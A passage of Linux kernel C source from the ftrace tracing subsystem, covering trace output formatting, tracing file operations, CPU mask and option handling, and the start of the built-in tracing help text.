per_cpu_ptr(buf->data, cpu)->skipped_entries; /* total is the same as the entries */ *total += count; } else *total += count + ring_buffer_overrun_cpu(buf->buffer, cpu); *entries += count; } } static void print_lat_help_header(struct seq_file *m) { seq_puts(m, "# _------=> CPU# \n" "# / _-----=> irqs-off \n" "# | / _----=> need-resched \n" "# || / _---=> hardirq/softirq \n" "# ||| / _--=> preempt-depth \n" "# |||| / delay \n" "# cmd pid ||||| time | caller \n" "# \\ / ||||| \\ | / \n"); } static void print_event_info(struct trace_buffer *buf, struct seq_file *m) { unsigned long total; unsigned long entries; get_total_entries(buf, &total, &entries); seq_printf(m, "# entries-in-buffer/entries-written: %lu/%lu #P:%d\n", entries, total, num_online_cpus()); seq_puts(m, "#\n"); } static void print_func_help_header(struct trace_buffer *buf, struct seq_file *m, unsigned int flags) { bool tgid = flags & TRACE_ITER_RECORD_TGID; print_event_info(buf, m); seq_printf(m, "# TASK-PID CPU# %s TIMESTAMP FUNCTION\n", tgid ? "TGID " : ""); seq_printf(m, "# | | | %s | |\n", tgid ? " | " : ""); } static void print_func_help_header_irq(struct trace_buffer *buf, struct seq_file *m, unsigned int flags) { bool tgid = flags & TRACE_ITER_RECORD_TGID; const char tgid_space[] = " "; const char space[] = " "; seq_printf(m, "# %s _-----=> irqs-off\n", tgid ? tgid_space : space); seq_printf(m, "# %s / _----=> need-resched\n", tgid ? tgid_space : space); seq_printf(m, "# %s| / _---=> hardirq/softirq\n", tgid ? tgid_space : space); seq_printf(m, "# %s|| / _--=> preempt-depth\n", tgid ? tgid_space : space); seq_printf(m, "# %s||| / delay\n", tgid ? tgid_space : space); seq_printf(m, "# TASK-PID CPU#%s|||| TIMESTAMP FUNCTION\n", tgid ? " TGID " : space); seq_printf(m, "# | | | %s|||| | |\n", tgid ? " | " : space); } void print_trace_header(struct seq_file *m, struct trace_iterator *iter) { unsigned long sym_flags = (global_trace.trace_flags & TRACE_ITER_SYM_MASK); struct trace_buffer *buf = iter->trace_buffer; struct trace_array_cpu *data = per_cpu_ptr(buf->data, buf->cpu); struct tracer *type = iter->trace; unsigned long entries; unsigned long total; const char *name = "preemption"; name = type->name; get_total_entries(buf, &total, &entries); seq_printf(m, "# %s latency trace v1.1.5 on %s\n", name, UTS_RELEASE); seq_puts(m, "# -----------------------------------" "---------------------------------\n"); seq_printf(m, "# latency: %lu us, #%lu/%lu, CPU#%d |" " (M:%s VP:%d, KP:%d, SP:%d HP:%d", nsecs_to_usecs(data->saved_latency), entries, total, buf->cpu, #if defined(CONFIG_PREEMPT_NONE) "server", #elif defined(CONFIG_PREEMPT_VOLUNTARY) "desktop", #elif defined(CONFIG_PREEMPT) "preempt", #else "unknown", #endif /* These are reserved for later use */ 0, 0, 0, 0); #ifdef CONFIG_SMP seq_printf(m, " #P:%d)\n", num_online_cpus()); #else seq_puts(m, ")\n"); #endif seq_puts(m, "# -----------------\n"); seq_printf(m, "# | task: %.16s-%d " "(uid:%d nice:%ld policy:%ld rt_prio:%ld)\n", data->comm, data->pid, from_kuid_munged(seq_user_ns(m), data->uid), data->nice, data->policy, data->rt_priority); seq_puts(m, "# -----------------\n"); if (data->critical_start) { seq_puts(m, "# => started at: "); seq_print_ip_sym(&iter->seq, data->critical_start, sym_flags); trace_print_seq(m, &iter->seq); seq_puts(m, "\n# => ended at: "); seq_print_ip_sym(&iter->seq, data->critical_end, sym_flags); trace_print_seq(m, &iter->seq); seq_puts(m, "\n#\n"); } seq_puts(m, "#\n"); } static void test_cpu_buff_start(struct trace_iterator *iter) { struct trace_seq *s = &iter->seq; struct trace_array *tr = iter->tr; if (!(tr->trace_flags & TRACE_ITER_ANNOTATE)) return; if (!(iter->iter_flags & TRACE_FILE_ANNOTATE)) return; if (cpumask_available(iter->started) && cpumask_test_cpu(iter->cpu, iter->started)) return; if (per_cpu_ptr(iter->trace_buffer->data, iter->cpu)->skipped_entries) return; if (cpumask_available(iter->started)) cpumask_set_cpu(iter->cpu, iter->started); /* Don't print started cpu buffer for the first entry of the trace */ if (iter->idx > 1) trace_seq_printf(s, "##### CPU %u buffer started ####\n", iter->cpu); } static enum print_line_t print_trace_fmt(struct trace_iterator *iter) { struct trace_array *tr = iter->tr; struct trace_seq *s = &iter->seq; unsigned long sym_flags = (tr->trace_flags & TRACE_ITER_SYM_MASK); struct trace_entry *entry; struct trace_event *event; entry = iter->ent; test_cpu_buff_start(iter); event = ftrace_find_event(entry->type); if (tr->trace_flags & TRACE_ITER_CONTEXT_INFO) { if (iter->iter_flags & TRACE_FILE_LAT_FMT) trace_print_lat_context(iter); else trace_print_context(iter); } if (trace_seq_has_overflowed(s)) return TRACE_TYPE_PARTIAL_LINE; if (event) return event->funcs->trace(iter, sym_flags, event); trace_seq_printf(s, "Unknown type %d\n", entry->type); return trace_handle_return(s); } static enum print_line_t print_raw_fmt(struct trace_iterator *iter) { struct trace_array *tr = iter->tr; struct trace_seq *s = &iter->seq; struct trace_entry *entry; struct trace_event *event; entry = iter->ent; if (tr->trace_flags & TRACE_ITER_CONTEXT_INFO) trace_seq_printf(s, "%d %d %llu ", entry->pid, iter->cpu, iter->ts); if (trace_seq_has_overflowed(s)) return TRACE_TYPE_PARTIAL_LINE; event = ftrace_find_event(entry->type); if (event) return event->funcs->raw(iter, 0, event); trace_seq_printf(s, "%d ?\n", entry->type); return trace_handle_return(s); } static enum print_line_t print_hex_fmt(struct trace_iterator *iter) { struct trace_array *tr = iter->tr; struct trace_seq *s = &iter->seq; unsigned char newline = '\n'; struct trace_entry *entry; struct trace_event *event; entry = iter->ent; if (tr->trace_flags & TRACE_ITER_CONTEXT_INFO) { SEQ_PUT_HEX_FIELD(s, entry->pid); SEQ_PUT_HEX_FIELD(s, iter->cpu); SEQ_PUT_HEX_FIELD(s, iter->ts); if (trace_seq_has_overflowed(s)) return TRACE_TYPE_PARTIAL_LINE; } event = ftrace_find_event(entry->type); if (event) { enum print_line_t ret = event->funcs->hex(iter, 0, event); if (ret != TRACE_TYPE_HANDLED) return ret; } SEQ_PUT_FIELD(s, newline); return trace_handle_return(s); } static enum print_line_t print_bin_fmt(struct trace_iterator *iter) { struct trace_array *tr = iter->tr; struct trace_seq *s = &iter->seq; struct trace_entry *entry; struct trace_event *event; entry = iter->ent; if (tr->trace_flags & TRACE_ITER_CONTEXT_INFO) { SEQ_PUT_FIELD(s, entry->pid); SEQ_PUT_FIELD(s, iter->cpu); SEQ_PUT_FIELD(s, iter->ts); if (trace_seq_has_overflowed(s)) return TRACE_TYPE_PARTIAL_LINE; } event = ftrace_find_event(entry->type); return event ? event->funcs->binary(iter, 0, event) : TRACE_TYPE_HANDLED; } int trace_empty(struct trace_iterator *iter) { struct ring_buffer_iter *buf_iter; int cpu; /* If we are looking at one CPU buffer, only check that one */ if (iter->cpu_file != RING_BUFFER_ALL_CPUS) { cpu = iter->cpu_file; buf_iter = trace_buffer_iter(iter, cpu); if (buf_iter) { if (!ring_buffer_iter_empty(buf_iter)) return 0; } else { if (!ring_buffer_empty_cpu(iter->trace_buffer->buffer, cpu)) return 0; } return 1; } for_each_tracing_cpu(cpu) { buf_iter = trace_buffer_iter(iter, cpu); if (buf_iter) { if (!ring_buffer_iter_empty(buf_iter)) return 0; } else { if (!ring_buffer_empty_cpu(iter->trace_buffer->buffer, cpu)) return 0; } } return 1; } /* Called with trace_event_read_lock() held. */ enum print_line_t print_trace_line(struct trace_iterator *iter) { struct trace_array *tr = iter->tr; unsigned long trace_flags = tr->trace_flags; enum print_line_t ret; if (iter->lost_events) { trace_seq_printf(&iter->seq, "CPU:%d [LOST %lu EVENTS]\n", iter->cpu, iter->lost_events); if (trace_seq_has_overflowed(&iter->seq)) return TRACE_TYPE_PARTIAL_LINE; } if (iter->trace && iter->trace->print_line) { ret = iter->trace->print_line(iter); if (ret != TRACE_TYPE_UNHANDLED) return ret; } if (iter->ent->type == TRACE_BPUTS && trace_flags & TRACE_ITER_PRINTK && trace_flags & TRACE_ITER_PRINTK_MSGONLY) return trace_print_bputs_msg_only(iter); if (iter->ent->type == TRACE_BPRINT && trace_flags & TRACE_ITER_PRINTK && trace_flags & TRACE_ITER_PRINTK_MSGONLY) return trace_print_bprintk_msg_only(iter); if (iter->ent->type == TRACE_PRINT && trace_flags & TRACE_ITER_PRINTK && trace_flags & TRACE_ITER_PRINTK_MSGONLY) return trace_print_printk_msg_only(iter); if (trace_flags & TRACE_ITER_BIN) return print_bin_fmt(iter); if (trace_flags & TRACE_ITER_HEX) return print_hex_fmt(iter); if (trace_flags & TRACE_ITER_RAW) return print_raw_fmt(iter); return print_trace_fmt(iter); } void trace_latency_header(struct seq_file *m) { struct trace_iterator *iter = m->private; struct trace_array *tr = iter->tr; /* print nothing if the buffers are empty */ if (trace_empty(iter)) return; if (iter->iter_flags & TRACE_FILE_LAT_FMT) print_trace_header(m, iter); if (!(tr->trace_flags & TRACE_ITER_VERBOSE)) print_lat_help_header(m); } void trace_default_header(struct seq_file *m) { struct trace_iterator *iter = m->private; struct trace_array *tr = iter->tr; unsigned long trace_flags = tr->trace_flags; if (!(trace_flags & TRACE_ITER_CONTEXT_INFO)) return; if (iter->iter_flags & TRACE_FILE_LAT_FMT) { /* print nothing if the buffers are empty */ if (trace_empty(iter)) return; print_trace_header(m, iter); if (!(trace_flags & TRACE_ITER_VERBOSE)) print_lat_help_header(m); } else { if (!(trace_flags & TRACE_ITER_VERBOSE)) { if (trace_flags & TRACE_ITER_IRQ_INFO) print_func_help_header_irq(iter->trace_buffer, m, trace_flags); else print_func_help_header(iter->trace_buffer, m, trace_flags); } } } static void test_ftrace_alive(struct seq_file *m) { if (!ftrace_is_dead()) return; seq_puts(m, "# WARNING: FUNCTION TRACING IS CORRUPTED\n" "# MAY BE MISSING FUNCTION EVENTS\n"); } #ifdef CONFIG_TRACER_MAX_TRACE static void show_snapshot_main_help(struct seq_file *m) { seq_puts(m, "# echo 0 > snapshot : Clears and frees snapshot buffer\n" "# echo 1 > snapshot : Allocates snapshot buffer, if not already allocated.\n" "# Takes a snapshot of the main buffer.\n" "# echo 2 > snapshot : Clears snapshot buffer (but does not allocate or free)\n" "# (Doesn't have to be '2' works with any number that\n" "# is not a '0' or '1')\n"); } static void show_snapshot_percpu_help(struct seq_file *m) { seq_puts(m, "# echo 0 > snapshot : Invalid for per_cpu snapshot file.\n"); #ifdef CONFIG_RING_BUFFER_ALLOW_SWAP seq_puts(m, "# echo 1 > snapshot : Allocates snapshot buffer, if not already allocated.\n" "# Takes a snapshot of the main buffer for this cpu.\n"); #else seq_puts(m, "# echo 1 > snapshot : Not supported with this kernel.\n" "# Must use main snapshot file to allocate.\n"); #endif seq_puts(m, "# echo 2 > snapshot : Clears this cpu's snapshot buffer (but does not allocate)\n" "# (Doesn't have to be '2' works with any number that\n" "# is not a '0' or '1')\n"); } static void print_snapshot_help(struct seq_file *m, struct trace_iterator *iter) { if (iter->tr->allocated_snapshot) seq_puts(m, "#\n# * Snapshot is allocated *\n#\n"); else seq_puts(m, "#\n# * Snapshot is freed *\n#\n"); seq_puts(m, "# Snapshot commands:\n"); if (iter->cpu_file == RING_BUFFER_ALL_CPUS) show_snapshot_main_help(m); else show_snapshot_percpu_help(m); } #else /* Should never be called */ static inline void print_snapshot_help(struct seq_file *m, struct trace_iterator *iter) { } #endif static int s_show(struct seq_file *m, void *v) { struct trace_iterator *iter = v; int ret; if (iter->ent == NULL) { if (iter->tr) { seq_printf(m, "# tracer: %s\n", iter->trace->name); seq_puts(m, "#\n"); test_ftrace_alive(m); } if (iter->snapshot && trace_empty(iter)) print_snapshot_help(m, iter); else if (iter->trace && iter->trace->print_header) iter->trace->print_header(m); else trace_default_header(m); } else if (iter->leftover) { /* * If we filled the seq_file buffer earlier, we * want to just show it now. */ ret = trace_print_seq(m, &iter->seq); /* ret should this time be zero, but you never know */ iter->leftover = ret; } else { print_trace_line(iter); ret = trace_print_seq(m, &iter->seq); /* * If we overflow the seq_file buffer, then it will * ask us for this data again at start up. * Use that instead. * ret is 0 if seq_file write succeeded. * -1 otherwise. */ iter->leftover = ret; } return 0; } /* * Should be used after trace_array_get(), trace_types_lock * ensures that i_cdev was already initialized. */ static inline int tracing_get_cpu(struct inode *inode) { if (inode->i_cdev) /* See trace_create_cpu_file() */ return (long)inode->i_cdev - 1; return RING_BUFFER_ALL_CPUS; } static const struct seq_operations tracer_seq_ops = { .start = s_start, .next = s_next, .stop = s_stop, .show = s_show, }; static struct trace_iterator * __tracing_open(struct inode *inode, struct file *file, bool snapshot) { struct trace_array *tr = inode->i_private; struct trace_iterator *iter; int cpu; if (tracing_disabled) return ERR_PTR(-ENODEV); iter = __seq_open_private(file, &tracer_seq_ops, sizeof(*iter)); if (!iter) return ERR_PTR(-ENOMEM); iter->buffer_iter = kcalloc(nr_cpu_ids, sizeof(*iter->buffer_iter), GFP_KERNEL); if (!iter->buffer_iter) goto release; /* * We make a copy of the current tracer to avoid concurrent * changes on it while we are reading. */ mutex_lock(&trace_types_lock); iter->trace = kzalloc(sizeof(*iter->trace), GFP_KERNEL); if (!iter->trace) goto fail; *iter->trace = *tr->current_trace; if (!zalloc_cpumask_var(&iter->started, GFP_KERNEL)) goto fail; iter->tr = tr; #ifdef CONFIG_TRACER_MAX_TRACE /* Currently only the top directory has a snapshot */ if (tr->current_trace->print_max || snapshot) iter->trace_buffer = &tr->max_buffer; else #endif iter->trace_buffer = &tr->trace_buffer; iter->snapshot = snapshot; iter->pos = -1; iter->cpu_file = tracing_get_cpu(inode); mutex_init(&iter->mutex); /* Notify the tracer early; before we stop tracing. */ if (iter->trace && iter->trace->open) iter->trace->open(iter); /* Annotate start of buffers if we had overruns */ if (ring_buffer_overruns(iter->trace_buffer->buffer)) iter->iter_flags |= TRACE_FILE_ANNOTATE; /* Output in nanoseconds only if we are using a clock in nanoseconds. */ if (trace_clocks[tr->clock_id].in_ns) iter->iter_flags |= TRACE_FILE_TIME_IN_NS; /* stop the trace while dumping if we are not opening "snapshot" */ if (!iter->snapshot) tracing_stop_tr(tr); if (iter->cpu_file == RING_BUFFER_ALL_CPUS) { for_each_tracing_cpu(cpu) { iter->buffer_iter[cpu] = ring_buffer_read_prepare(iter->trace_buffer->buffer, cpu); } ring_buffer_read_prepare_sync(); for_each_tracing_cpu(cpu) { ring_buffer_read_start(iter->buffer_iter[cpu]); tracing_iter_reset(iter, cpu); } } else { cpu = iter->cpu_file; iter->buffer_iter[cpu] = ring_buffer_read_prepare(iter->trace_buffer->buffer, cpu); ring_buffer_read_prepare_sync(); ring_buffer_read_start(iter->buffer_iter[cpu]); tracing_iter_reset(iter, cpu); } mutex_unlock(&trace_types_lock); return iter; fail: mutex_unlock(&trace_types_lock); kfree(iter->trace); kfree(iter->buffer_iter); release: seq_release_private(inode, file); return ERR_PTR(-ENOMEM); } int tracing_open_generic(struct inode *inode, struct file *filp) { if (tracing_disabled) return -ENODEV; filp->private_data = inode->i_private; return 0; } bool tracing_is_disabled(void) { return (tracing_disabled) ? true: false; } /* * Open and update trace_array ref count. * Must have the current trace_array passed to it. */ static int tracing_open_generic_tr(struct inode *inode, struct file *filp) { struct trace_array *tr = inode->i_private; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr) < 0) return -ENODEV; filp->private_data = inode->i_private; return 0; } static int tracing_release(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; struct seq_file *m = file->private_data; struct trace_iterator *iter; int cpu; if (!(file->f_mode & FMODE_READ)) { trace_array_put(tr); return 0; } /* Writes do not use seq_file */ iter = m->private; mutex_lock(&trace_types_lock); for_each_tracing_cpu(cpu) { if (iter->buffer_iter[cpu]) ring_buffer_read_finish(iter->buffer_iter[cpu]); } if (iter->trace && iter->trace->close) iter->trace->close(iter); if (!iter->snapshot) /* reenable tracing if it was previously enabled */ tracing_start_tr(tr); __trace_array_put(tr); mutex_unlock(&trace_types_lock); mutex_destroy(&iter->mutex); free_cpumask_var(iter->started); kfree(iter->trace); kfree(iter->buffer_iter); seq_release_private(inode, file); return 0; } static int tracing_release_generic_tr(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; trace_array_put(tr); return 0; } static int tracing_single_release_tr(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; trace_array_put(tr); return single_release(inode, file); } static int tracing_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; struct trace_iterator *iter; int ret = 0; if (trace_array_get(tr) < 0) return -ENODEV; /* If this file was open for write, then erase contents */ if ((file->f_mode & FMODE_WRITE) && (file->f_flags & O_TRUNC)) { int cpu = tracing_get_cpu(inode); struct trace_buffer *trace_buf = &tr->trace_buffer; #ifdef CONFIG_TRACER_MAX_TRACE if (tr->current_trace->print_max) trace_buf = &tr->max_buffer; #endif if (cpu == RING_BUFFER_ALL_CPUS) tracing_reset_online_cpus(trace_buf); else tracing_reset(trace_buf, cpu); } if (file->f_mode & FMODE_READ) { iter = __tracing_open(inode, file, false); if (IS_ERR(iter)) ret = PTR_ERR(iter); else if (tr->trace_flags & TRACE_ITER_LATENCY_FMT) iter->iter_flags |= TRACE_FILE_LAT_FMT; } if (ret < 0) trace_array_put(tr); return ret; } /* * Some tracers are not suitable for instance buffers. * A tracer is always available for the global array (toplevel) * or if it explicitly states that it is. */ static bool trace_ok_for_array(struct tracer *t, struct trace_array *tr) { return (tr->flags & TRACE_ARRAY_FL_GLOBAL) || t->allow_instances; } /* Find the next tracer that this trace array may use */ static struct tracer * get_tracer_for_array(struct trace_array *tr, struct tracer *t) { while (t && !trace_ok_for_array(t, tr)) t = t->next; return t; } static void * t_next(struct seq_file *m, void *v, loff_t *pos) { struct trace_array *tr = m->private; struct tracer *t = v; (*pos)++; if (t) t = get_tracer_for_array(tr, t->next); return t; } static void *t_start(struct seq_file *m, loff_t *pos) { struct trace_array *tr = m->private; struct tracer *t; loff_t l = 0; mutex_lock(&trace_types_lock); t = get_tracer_for_array(tr, trace_types); for (; t && l < *pos; t = t_next(m, t, &l)) ; return t; } static void t_stop(struct seq_file *m, void *p) { mutex_unlock(&trace_types_lock); } static int t_show(struct seq_file *m, void *v) { struct tracer *t = v; if (!t) return 0; seq_puts(m, t->name); if (t->next) seq_putc(m, ' '); else seq_putc(m, '\n'); return 0; } static const struct seq_operations show_traces_seq_ops = { .start = t_start, .next = t_next, .stop = t_stop, .show = t_show, }; static int show_traces_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; struct seq_file *m; int ret; if (tracing_disabled) return -ENODEV; ret = seq_open(file, &show_traces_seq_ops); if (ret) return ret; m = file->private_data; m->private = tr; return 0; } static ssize_t tracing_write_stub(struct file *filp, const char __user *ubuf, size_t count, loff_t *ppos) { return count; } loff_t tracing_lseek(struct file *file, loff_t offset, int whence) { int ret; if (file->f_mode & FMODE_READ) ret = seq_lseek(file, offset, whence); else file->f_pos = ret = 0; return ret; } static const struct file_operations tracing_fops = { .open = tracing_open, .read = seq_read, .write = tracing_write_stub, .llseek = tracing_lseek, .release = tracing_release, }; static const struct file_operations show_traces_fops = { .open = show_traces_open, .read = seq_read, .release = seq_release, .llseek = seq_lseek, }; static ssize_t tracing_cpumask_read(struct file *filp, char __user *ubuf, size_t count, loff_t *ppos) { struct trace_array *tr = file_inode(filp)->i_private; char *mask_str; int len; len = snprintf(NULL, 0, "%*pb\n", cpumask_pr_args(tr->tracing_cpumask)) + 1; mask_str = kmalloc(len, GFP_KERNEL); if (!mask_str) return -ENOMEM; len = snprintf(mask_str, len, "%*pb\n", cpumask_pr_args(tr->tracing_cpumask)); if (len >= count) { count = -EINVAL; goto out_err; } count = simple_read_from_buffer(ubuf, count, ppos, mask_str, len); out_err: kfree(mask_str); return count; } static ssize_t tracing_cpumask_write(struct file *filp, const char __user *ubuf, size_t count, loff_t *ppos) { struct trace_array *tr = file_inode(filp)->i_private; cpumask_var_t tracing_cpumask_new; int err, cpu; if (!alloc_cpumask_var(&tracing_cpumask_new, GFP_KERNEL)) return -ENOMEM; err = cpumask_parse_user(ubuf, count, tracing_cpumask_new); if (err) goto err_unlock; local_irq_disable(); arch_spin_lock(&tr->max_lock); for_each_tracing_cpu(cpu) { /* * Increase/decrease the disabled counter if we are * about to flip a bit in the cpumask: */ if (cpumask_test_cpu(cpu, tr->tracing_cpumask) && !cpumask_test_cpu(cpu, tracing_cpumask_new)) { atomic_inc(&per_cpu_ptr(tr->trace_buffer.data, cpu)->disabled); ring_buffer_record_disable_cpu(tr->trace_buffer.buffer, cpu); } if (!cpumask_test_cpu(cpu, tr->tracing_cpumask) && cpumask_test_cpu(cpu, tracing_cpumask_new)) { atomic_dec(&per_cpu_ptr(tr->trace_buffer.data, cpu)->disabled); ring_buffer_record_enable_cpu(tr->trace_buffer.buffer, cpu); } } arch_spin_unlock(&tr->max_lock); local_irq_enable(); cpumask_copy(tr->tracing_cpumask, tracing_cpumask_new); free_cpumask_var(tracing_cpumask_new); return count; err_unlock: free_cpumask_var(tracing_cpumask_new); return err; } static const struct file_operations tracing_cpumask_fops = { .open = tracing_open_generic_tr, .read = tracing_cpumask_read, .write = tracing_cpumask_write, .release = tracing_release_generic_tr, .llseek = generic_file_llseek, }; static int tracing_trace_options_show(struct seq_file *m, void *v) { struct tracer_opt *trace_opts; struct trace_array *tr = m->private; u32 tracer_flags; int i; mutex_lock(&trace_types_lock); tracer_flags = tr->current_trace->flags->val; trace_opts = tr->current_trace->flags->opts; for (i = 0; trace_options[i]; i++) { if (tr->trace_flags & (1 << i)) seq_printf(m, "%s\n", trace_options[i]); else seq_printf(m, "no%s\n", trace_options[i]); } for (i = 0; trace_opts[i].name; i++) { if (tracer_flags & trace_opts[i].bit) seq_printf(m, "%s\n", trace_opts[i].name); else seq_printf(m, "no%s\n", trace_opts[i].name); } mutex_unlock(&trace_types_lock); return 0; } static int __set_tracer_option(struct trace_array *tr, struct tracer_flags *tracer_flags, struct tracer_opt *opts, int neg) { struct tracer *trace = tracer_flags->trace; int ret; ret = trace->set_flag(tr, tracer_flags->val, opts->bit, !neg); if (ret) return ret; if (neg) tracer_flags->val &= ~opts->bit; else tracer_flags->val |= opts->bit; return 0; } /* Try to assign a tracer specific option */ static int set_tracer_option(struct trace_array *tr, char *cmp, int neg) { struct tracer *trace = tr->current_trace; struct tracer_flags *tracer_flags = trace->flags; struct tracer_opt *opts = NULL; int i; for (i = 0; tracer_flags->opts[i].name; i++) { opts = &tracer_flags->opts[i]; if (strcmp(cmp, opts->name) == 0) return __set_tracer_option(tr, trace->flags, opts, neg); } return -EINVAL; } /* Some tracers require overwrite to stay enabled */ int trace_keep_overwrite(struct tracer *tracer, u32 mask, int set) { if (tracer->enabled && (mask & TRACE_ITER_OVERWRITE) && !set) return -1; return 0; } int set_tracer_flag(struct trace_array *tr, unsigned int mask, int enabled) { /* do nothing if flag is already set */ if (!!(tr->trace_flags & mask) == !!enabled) return 0; /* Give the tracer a chance to approve the change */ if (tr->current_trace->flag_changed) if (tr->current_trace->flag_changed(tr, mask, !!enabled)) return -EINVAL; if (enabled) tr->trace_flags |= mask; else tr->trace_flags &= ~mask; if (mask == TRACE_ITER_RECORD_CMD) trace_event_enable_cmd_record(enabled); if (mask == TRACE_ITER_RECORD_TGID) { if (!tgid_map) tgid_map = kcalloc(PID_MAX_DEFAULT + 1, sizeof(*tgid_map), GFP_KERNEL); if (!tgid_map) { tr->trace_flags &= ~TRACE_ITER_RECORD_TGID; return -ENOMEM; } trace_event_enable_tgid_record(enabled); } if (mask == TRACE_ITER_EVENT_FORK) trace_event_follow_fork(tr, enabled); if (mask == TRACE_ITER_FUNC_FORK) ftrace_pid_follow_fork(tr, enabled); if (mask == TRACE_ITER_OVERWRITE) { ring_buffer_change_overwrite(tr->trace_buffer.buffer, enabled); #ifdef CONFIG_TRACER_MAX_TRACE ring_buffer_change_overwrite(tr->max_buffer.buffer, enabled); #endif } if (mask == TRACE_ITER_PRINTK) { trace_printk_start_stop_comm(enabled); trace_printk_control(enabled); } return 0; } static int trace_set_options(struct trace_array *tr, char *option) { char *cmp; int neg = 0; int ret; size_t orig_len = strlen(option); cmp = strstrip(option); if (strncmp(cmp, "no", 2) == 0) { neg = 1; cmp += 2; } mutex_lock(&trace_types_lock); ret = match_string(trace_options, -1, cmp); /* If no option could be set, test the specific tracer options */ if (ret < 0) ret = set_tracer_option(tr, cmp, neg); else ret = set_tracer_flag(tr, 1 << ret, !neg); mutex_unlock(&trace_types_lock); /* * If the first trailing whitespace is replaced with '\0' by strstrip, * turn it back into a space. */ if (orig_len > strlen(option)) option[strlen(option)] = ' '; return ret; } static void __init apply_trace_boot_options(void) { char *buf = trace_boot_options_buf; char *option; while (true) { option = strsep(&buf, ","); if (!option) break; if (*option) trace_set_options(&global_trace, option); /* Put back the comma to allow this to be called again */ if (buf) *(buf - 1) = ','; } } static ssize_t tracing_trace_options_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct seq_file *m = filp->private_data; struct trace_array *tr = m->private; char buf[64]; int ret; if (cnt >= sizeof(buf)) return -EINVAL; if (copy_from_user(buf, ubuf, cnt)) return -EFAULT; buf[cnt] = 0; ret = trace_set_options(tr, buf); if (ret < 0) return ret; *ppos += cnt; return cnt; } static int tracing_trace_options_open(struct inode *inode, struct file *file) { struct trace_array *tr = inode->i_private; int ret; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr) < 0) return -ENODEV; ret = single_open(file, tracing_trace_options_show, inode->i_private); if (ret < 0) trace_array_put(tr); return ret; } static const struct file_operations tracing_iter_fops = { .open = tracing_trace_options_open, .read = seq_read, .llseek = seq_lseek, .release = tracing_single_release_tr, .write = tracing_trace_options_write, }; static const char readme_msg[] = "tracing mini-HOWTO:\n\n" "# echo 0 > tracing_on : quick way to disable tracing\n" "# echo 1 > tracing_on : quick way to re-enable tracing\n\n" " Important files:\n" " trace\t\t\t- The static contents of the buffer\n" "\t\t\t To clear the buffer write into this file: echo > trace\n" " trace_pipe\t\t- A consuming read to see the contents of the buffer\n" " current_tracer\t- function and latency tracers\n" " available_tracers\t- list of configured tracers for current_tracer\n" " buffer_size_kb\t- view and modify size of per cpu buffer\n" " buffer_total_size_kb - view total size of all cpu buffers\n\n" " trace_clock\t\t-change the clock used to order events\n" " local: Per cpu clock but may not be synced across CPUs\n" " global: Synced across CPUs but slows tracing down.\n" " counter: Not a clock, but just an increment\n" " uptime: Jiffy counter from time of boot\n" " perf: Same clock that perf events use\n" #ifdef CONFIG_X86_64 " x86-tsc: TSC cycle counter\n" #endif "\n timestamp_mode\t-view the mode used to timestamp events\n" " delta: Delta difference against a buffer-wide timestamp\n" " absolute: Absolute (standalone) timestamp\n" "\n trace_marker\t\t- Writes into this file writes into the kernel buffer\n" "\n trace_marker_raw\t\t- Writes into this file writes binary data into the kernel buffer\n" " tracing_cpumask\t- Limit which CPUs to trace\n" " instances\t\t- Make sub-buffers with: mkdir instances/foo\n" "\t\t\t Remove sub-buffer with rmdir\n" " trace_options\t\t- Set format or modify how tracing happens\n" "\t\t\t Disable an option by adding a suffix 'no' to the\n" "\t\t\t option name\n" " saved_cmdlines_size\t- echo command number in here to store comm-pid list\n" #ifdef CONFIG_DYNAMIC_FTRACE "\n available_filter_functions - list of functions that can be filtered on\n" " set_ftrace_filter\t- echo function name in here to only trace these\n" "\t\t\t functions\n" "\t accepts: func_full_name or glob-matching-pattern\n" "\t modules: Can select a group via module\n" "\t Format: :mod:<module-name>\n" "\t example: echo :mod:ext3 > set_ftrace_filter\n" "\t triggers: a command to perform when function is hit\n" "\t Format: <function>:<trigger>[:count]\n" "\t trigger: traceon, traceoff\n" "\t\t enable_event:<system>:<event>\n" "\t\t disable_event:<system>:<event>\n" #ifdef CONFIG_STACKTRACE "\t\t stacktrace\n" #endif #ifdef CONFIG_TRACER_SNAPSHOT "\t\t snapshot\n" #endif "\t\t dump\n" "\t\t cpudump\n" "\t example: echo do_fault:traceoff > set_ftrace_filter\n" "\t echo do_trap:traceoff:3 > set_ftrace_filter\n" "\t The first one will disable tracing every time do_fault is hit\n" "\t The second will disable tracing at most 3 times when do_trap is hit\n" "\t The first time do trap is hit and it disables tracing, the\n" "\t counter will decrement to 2. If tracing is already disabled,\n" "\t the counter will not decrement. It only decrements when the\n" "\t trigger did work\n" "\t To remove trigger without count:\n" "\t echo '!<function>:<trigger> > set_ftrace_filter\n" "\t To remove trigger with a count:\n" "\t echo '!<function>:<trigger>:0 > set_ftrace_filter\n" " set_ftrace_notrace\t- echo function name in here to never trace.\n" "\t accepts: func_full_name, *func_end, func_begin*, *func_middle*\n" "\t modules: Can select a group via module command :mod:\n" "\t Does not accept triggers\n" #endif /* CONFIG_DYNAMIC_FTRACE */ #ifdef CONFIG_FUNCTION_TRACER " set_ftrace_pid\t- Write pid(s) to only function trace those pids\n" "\t\t (function)\n" #endif #ifdef CONFIG_FUNCTION_GRAPH_TRACER " set_graph_function\t- Trace the nested calls of a function (function_graph)\n" " set_graph_notrace\t- Do not trace the nested calls of a function (function_graph)\n" " max_graph_depth\t- Trace a limited depth of nested calls (0 is unlimited)\n" #endif #ifdef CONFIG_TRACER_SNAPSHOT "\n snapshot\t\t- Like 'trace' but shows the content of the static\n" "\t\t\t snapshot buffer. Read the contents for more\n" "\t\t\t information\n" #endif #ifdef CONFIG_STACK_TRACER " stack_trace\t\t- Shows the max stack trace when active\n" " stack_max_size\t- Shows current max stack size that was traced\n" "\t\t\t Write into this file to reset the max size (trigger a\n" "\t\t\t new trace)\n" #ifdef CONFIG_DYNAMIC_FTRACE " stack_trace_filter\t- Like set_ftrace_filter but limits what stack_trace\n" "\t\t\t traces\n" #endif #endif /* CONFIG_STACK_TRACER */ #ifdef CONFIG_KPROBE_EVENTS " kprobe_events\t\t- Add/remove/show the kernel dynamic events\n" 